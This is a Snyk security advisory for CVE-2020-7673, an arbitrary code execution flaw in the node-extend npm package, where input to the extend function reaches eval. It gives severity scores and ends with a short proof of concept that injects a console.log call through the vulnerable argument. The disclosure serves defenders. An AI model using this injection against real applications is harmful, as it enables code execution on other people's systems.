Arbitrary Code Execution Affecting node-extend package, versions *
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
6.86% (94th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-NODEEXTEND-571491
- published 5 Jun 2020
- disclosed 5 Jun 2020
- credit JHU System Security Lab
Introduced: 5 Jun 2020
CVE-2020-7673 Open this link in a new tabHow to fix?
There is no fixed version for node-extend.
Overview
node-extend is an extend for node.js.
Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to the argument A of extend function(A,B,as,isAargs) located within lib/extend.js is executed by the eval function, resulting in code execution.
PoC
var extend = require("node-extend");
foo = extend("function (){});console.log(234); //(){console.log(123)}","")
console.log(foo);